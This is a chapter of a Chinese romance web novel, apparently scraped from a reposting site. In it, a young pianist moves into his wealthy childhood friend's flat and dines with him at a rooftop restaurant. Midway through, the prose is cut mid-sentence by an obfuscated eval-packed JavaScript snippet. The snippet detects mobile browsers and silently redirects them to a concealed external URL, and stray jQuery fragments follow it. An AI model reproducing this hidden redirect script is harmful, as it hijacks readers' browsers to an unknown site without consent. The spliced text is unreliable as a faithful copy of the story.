14. 骚话连篇

作品:《哪有霸总抓竹马当金丝雀的

    裴禹呈的住所和海市最知名的几幢标志性建筑并肩而立,江景大平层。


    宋颂带着段愁存储门锁指纹,一进去,纯黑色的乐器贵气又显眼。


    宋颂:“哦你可能不知道,裴总是会弹钢琴的,也喜欢听。他母亲是钢琴家。然后可能也是这个原因,他就比较喜欢手好看的——你暂时把行李搬到这个房间好了。”


    她再交代了几句就离开了,似乎很放心留段愁一个人在家里。


    段愁送走她,一个人杵在裴禹呈的空间,环绕四周。


    三个。


    这个地方,裴禹呈已经至少睡过三个人。


    虽然一直听人说他玩得花,但因为没真正见过,加上谭意华所说的“没变”,段愁对裴禹呈始终有小时候的滤镜。


    就,他觉得裴禹呈不像是会私生活乱搞的人,也不是游戏人间花花公子风格。


    这几天相处下来,这种滤镜也没有碎。


    刚问宋颂,有一点儿试探意思。怀疑裴禹呈玩得花像只是向外放出去的风声而已。


    ……结果是真的。


    判断失误让段愁内心说不出的异样。


    一起长大,一人都没谈过恋爱,一人情人比自己行李箱还多,也算是种身份差距越来越大的证明吧。


    他思绪这么短暂飘了下,又迅速适可而止,把目光投射到钢琴前。


    和老师家那架自己从小弹到大的老琴不同,这架施坦威很新,D-274款的九尺琴身,修长到华丽的地步。黑色抛光的琴面能清晰印出自己的脸。


    段愁犹豫着要不要偷偷弹一下。


    但又觉得不经甲方同意,不太好。


    ——然后他还是轻轻坐在了琴凳上,脚点了点延音踏板。


    段愁弹得很投入,半小时后,手机第一次响起时他没听见,第二次响起时才去接。


    是王总。段愁就把琴盖合上,走到阳台,将按了免提的手机放在桌子上。


    和王总在钢琴前说话都是亵渎了钢琴。


    他又来问段愁的近况。


    不过仍是说了一堆,又像什么都没说。


    段愁总觉得王总是想试探自己些东西,但似乎又怕自己警觉,所以又讲不彻底。


    段愁无所谓,他有耐心,知道王树梁迟早会露出他的目的。


    挂了电话没多久,新手机又响。


    就是宋颂给段愁的手机,这次拨打者自然也就是他的甲方。


    “搬好家没?”


    对方开门见山的声音从听筒里透出来时,段愁就改成右手握住手机,紧贴在健康的左耳上,微微抬起肩膀抵着。


    觉得这样听得更清楚些。


    “嗯,搬好了。”


    “OK,今晚有个云端餐厅开业,之前一直邀我,我得去一下。”


    段愁:“好。那意思是我晚上就不给你做饭了对吧,裴总。”


    “……”


    段愁听见裴禹呈呼吸了一下,然后无语地问,“谁要你做饭了,你是小当家还是米其林?难道是三明治给了你自信?”


    段愁分明记得这人的原话——“住我那儿给我做做清洁煮煮饭看看家不是应该的?”,这下竟又嫌弃起来。


    他也只好保持沉默。


    裴禹呈听他不出声,莫名其妙开始指责:“段愁,你知不知道怎么当一个合格的乙方?你不知道这种高空餐厅都是至少两个人赴邀吗?装什么啊你。”


    段愁确实没听过这种规矩,而且裴禹呈这种身份还需要恪守这种“至少”吗。


    不过这下他明白了:“裴总是想我陪着你一起去吗。”


    “我需要你陪?”


    “。”段愁再次无话可说。


    裴禹呈声音不耐:“这不是陪不陪的问题,而是你要稍微有点儿你这种身份的机灵劲儿,我开会去了。”就直接把电话挂了。


    几分钟后,段愁收到宋颂的消息,告知车会在傍晚接他去餐厅。


    段愁问有没有什么Dress Code。宋颂回:“就是一次裴总的私人晚餐行程,你可以随便穿。”


    段愁心安了些,但还是换了件比较正式的白衬衫。


    车在五点半准时来接。登上坐落于海市某CBD知名大厦的云端餐厅后,段愁报上林秋的名字。


    服务员带他穿过一层的散桌,再登了几级阶梯,直抵一个包间,隐秘奢华。


    裴禹呈还没到。段愁就站在270度全景落地窗前,从第77层俯瞰海市城景。


    今晚夕阳很好。


    等裴禹呈进来时,霞光刚好浓成一种红橙色。


    段愁只注意到这种光把裴禹呈的脸都照成暖色调,没注意到也把自己穿着白衬衫的身影染了个遍,漆黑的发丝都泛着油画般的光。


    服务员在甲方身后,他就冲甲方笑了下:“裴总。”


    甲方面无表情扫了他几眼,就垂下眸来,脱西装外套:“站着干什么。”


    两人坐下。裴禹呈没问段愁意见,干脆利落点了一堆菜。


    等服务员离开时,才往椅背上靠了靠,勾起一边嘴角:“知道穿我买的皮鞋了?”


    是有点得意甚至臭屁的样子,像小时候夸他游泳的神情。但夕阳让他眉骨和鼻梁等区域撑起的阴影都更深,他还系着领带,袖口挽了几折,骨节分明的手腕戴着价格超过八位数的表。


    这一下子放大了上位者的气场,段愁不知为何心脏有点紧,哪怕他心情是很放松、甚至是无端愉悦的。


    “裴总不是让我有点乙方身份的机灵劲儿吗。”


    裴禹呈说:“你最好有。”


    光是前菜就点了四种,段愁左手还酸痛着,就没有抬起来,只是倾身用右手拿小刀去切鹅肝,放在面包上,撒上海盐和他喜欢的无花果酱。


    动作娴熟,也优雅,但因为一直只用一只手,比较缓慢,无意中有种慢镜头特写聚焦的感觉。


    裴禹呈看着段愁的手指,和旁边的餐具一样带着细细的光泽,小刀在闪,他手背上的筋脉也仿佛在微微跳动,目光有些沉:


    “你现在怎么吃个鹅肝薄片都这么做作?”


    “……”段愁手顿了下,回答,“可能太久没吃了。”


    裴禹呈又换了个话题问他:“你搬走,你室友什么反应?”


    “他觉得很突然,但是很多人大四都开始在外面租房了,所以也不算难以理解。”


    当然不可能给何川说自己被包了被迫住进金主家,只说签的公司尽快入职就搬到了员工公寓。


    不过裴禹呈竟不问他说的什么理由,关注点异常跑偏:“他很不舍吧?”


    段愁想了想:“还好。会有点意外,但又不是完全分开,我后面还是要回学校的。”


    “哦,那你呢。”


    “我也还好。等彻底毕业也总是要搬的。”


    裴禹呈听他这么回答,满意,又不满意。


    “你还真是理性舍得不留恋啊。”他冷笑一声,“算是可以想象当年你搬到枫城的心态了。”


    段愁睫毛颤了下,纠正:“那还是不一样的。”


    “什么不一样?”


    “什么都不一样。那时我多大,我和你又认识多久了,我怎么可能会舍得。”


    尤其是他觉得他再也见不到裴禹呈的情况下。


    他实话实说。内心是平静的,但因为喜欢用反问来陈述他认为理所当然的事实,听起来情感就很强烈。


    他自己无法意识到。一心还在想,如果裴禹呈继续质问下去,可能又不知道如何回答。


    然而裴禹呈没有,他就轻笑了笑,微微抬起头,颇为傲慢的表情。问的是:“那现在见到了,你是什么心情?”


    段愁反问:“裴总你是什么心情?”


    “我只是验收的老板,老板没有心情。”


    “。”


    “但代入你的话,我恨不得挖地洞埋进去。”


    “。”


    “回答我,我问的是你。”


    段愁作答:“代入甲方,我是意外。代入我自己的话,”他安静片刻,在多重情绪里挑拣了一个最正面又表面的,


    “主要会觉得有点儿惊喜吧。尤其是我最初又不能知道老板身份,像开盲盒那样看到的你。”


    这回答中规中矩无懈可击,还有点拍马屁,想必无法被裴禹呈逮着槽点。


    结果裴禹呈说:


    “段愁,我想要的乙方机灵,不是用在说这种‘我是你惊喜盲盒’的骚话的。”


    段愁话口就又被噎住了。


    他想交代“我没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814587|158653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这个意思”,可这样好像不太符合乙方人设,


    前面没有主动说陪吃饭,人都气呼呼地挂了电话。


    但是说“对我就是要说骚话”,这个甲方又要否定。


    裴禹呈现在真挺容易让人话哽的。


    好在餐厅经理进来,给裴总介绍特色佳肴和珍藏好酒。等经理走后,侍酒师又很快上来。这个话口就终止了,两人兀自品起酒用起餐。


    餐厅的氛围灯亮起,借着暮色夜景的烘托,把他们的脸都照得有些昏昧。


    画框一样静谧祥和的情景被段愁的手机铃声打断,虽然他很快挂断反扣,裴禹呈还是眼尖注意到。


    “接吧,这不你的好哥们室友吗。”他面无表情地说。


    段愁摇头:“算了。我后面打给他就是。”


    裴禹呈:“现在打。”


    “……”段愁只好打回去。


    何川才实习完回寝室,知道段愁已经搬走,问问他情况。又提到这周四的安排。


    周四段愁省级优秀毕业生答辩,这天恰巧也是U大举行毕业典礼的日子,应该会很热闹。


    “景哥他们还说拍完照晚上组局呢,轰趴,你能来吗?”


    段愁说:“应该来不了了。”


    两人又聊了几句,挂了电话,裴禹呈随口:“你周四毕业?”


    “嗯。”段愁点头,“所以周四我可能不能跟着你了。就,裴总你能不能那天给我放个假。”


    裴禹呈笑了声:“你是老板还是我是老板?我干嘛迁就你的时间?”


    “……”


    “不过你运气好,我明天下午就开始出差了,周六前你应该都见不到我。”


    段愁之前听他聊行程时大致也知道,裴禹呈一周安排满满当当,有几个跨国城市要飞,很辛苦。


    “……我以为你出差可能需要我跟着。”


    “为什么会需要。”裴禹呈不屑,“你不是都不想进骋世工作吗,跟着我出差那可不是苦了你。我还是很公私分明的。”


    段愁之前告诉过宋颂,他不必借这层关系进骋世上班。他早已签了工作,只是六月才正式入职。


    若是现在反悔,要面临巨额违约金还会因诚信度问题遭行业内部封杀。他和裴总的合约最多也只有半年,他还是得为未来考虑。


    这些理由细想其实挺虚的,说白了就是他不想单纯被老板包|养成无业游民,也不想在老板身边工作。找了另一条路子。


    裴禹呈之前没说什么,这会儿却隐隐透些阴阳怪气的不爽。


    “不过这周日我会带你见人,公开场合。”裴禹呈又开口,“到时候人挺多的,你做好准备。”


    段愁眼皮跳了跳,右手拇指无意识摸起了食指内侧。


    “好的,裴总。”


    不久,段愁吃完了,裴禹呈还没有。


    段愁就恪守一个乖巧安静的乙方形象,盯着眼前的酒杯等待。


    红酒还剩一点点,玻璃映着甲方的下颌线条,还要喉结,那方反射区域在宝石红色的液体表面晃荡着,影影绰绰往下浸的感觉。


    段愁就有点发呆。


    等裴禹呈吃完了,他才回过神。


    裴禹呈嘲讽:“盯杯子十分钟了你,这么点儿酒都能上头。”


    离开餐厅后,两人等着电梯。可能是一起喝了酒吃了饭的原因,身体挨得有点近。


    段愁看着缓缓上升的数字,小声说:“坐散桌的那些人好像也都挺有头有脸儿的。”


    “那是,今天开业,能来的都是贵宾好吧。不过包间就一间,是我的。”裴禹呈挑眉。


    段愁笑:“那你也没给那些贵宾打招呼。”


    “私人行程。不想被碰见。”电梯开了,裴禹呈说,“进去吧。”


    他今天有些乌鸦嘴。本来电梯门都准备合上,门外有人急匆匆地按。就又打开了。


    三个一看穿着就非富即贵的年轻男子进来,模样眼熟得让段愁立刻偏过头去。


    一个男的率先喊出:“裴禹呈?!”


    他不喊,裴禹呈根本无心关注新走进电梯的三个人。这会儿只得低头定睛。


    然后他愣了下,立刻往段愁身旁站近了一步,几乎是把他挡在了角落:


    “……是你们啊,挺巧。”